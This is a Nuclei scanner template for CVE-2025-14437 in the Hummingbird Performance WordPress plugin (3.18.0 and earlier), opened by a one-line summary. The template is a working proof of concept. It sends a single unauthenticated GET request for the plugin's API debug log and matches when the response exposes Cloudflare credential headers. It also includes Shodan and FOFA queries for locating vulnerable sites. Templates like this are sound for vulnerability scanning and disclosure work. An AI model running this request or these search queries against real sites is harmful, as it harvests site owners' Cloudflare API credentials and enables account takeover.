Hummingbird Performance WordPress plugin <= 3.18.0 contains a sensitive information exposure caused by improper handling in the 'request' function, letting unauthenticated attackers extract sensitive data including Cloudflare API credentials, exploit requires no authentication.
PoC
id: CVE-2025-14437
info:
name: WordPress Hummingbird <= 3.18.0 - Sensitive Information Exposure via Log File
author: pussycat0x
severity: high
description: |
Hummingbird Performance WordPress plugin <= 3.18.0 contains a sensitive information exposure caused by improper handling in the 'request' function, letting unauthenticated attackers extract sensitive data including Cloudflare API credentials, exploit requires no authentication.
impact: |
Unauthenticated attackers can extract sensitive credentials, leading to potential account compromise and further attacks.
remediation: |
Update to the latest version beyond 3.18.0.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hummingbird-performance/hummingbird-3180-unauthenticated-sensitive-information-exposure-via-log-files
- https://wpscan.com/vulnerability/cve-2025-14437
- https://plugins.trac.wordpress.org/changeset/3421187/hummingbird-performance
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-14437
epss-score: 0.01916
epss-percentile: 0.79211
cwe-id: CWE-532
metadata:
verified: true
max-request: 1
vendor: wpmudev
product: hummingbird-performance
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/hummingbird-performance"
fofa-query: body="/wp-content/plugins/hummingbird-performance"
tags: cve,cve2025,wordpress,wp-plugin,hummingbird,exposure,cloudflare,wpmudev,vkev
http:
- raw:
- |
GET /wp-content/wphb-logs/api-debug.log HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "WPHB", "X-Auth-Key", "X-Auth-Email", "Authorization")'
condition: and
# digest: 4b0a00483046022100d4e6dbad3e8352beb637e5ec958d8d6a3fbd8580dd928400647adefb8cafd3fe022100ab5cccd1af6960fe878c1a68891bf1afd13dfdb7aea365e4f22f18c1ba63b4aa:922c64590222798bb761d5b6d8e72950
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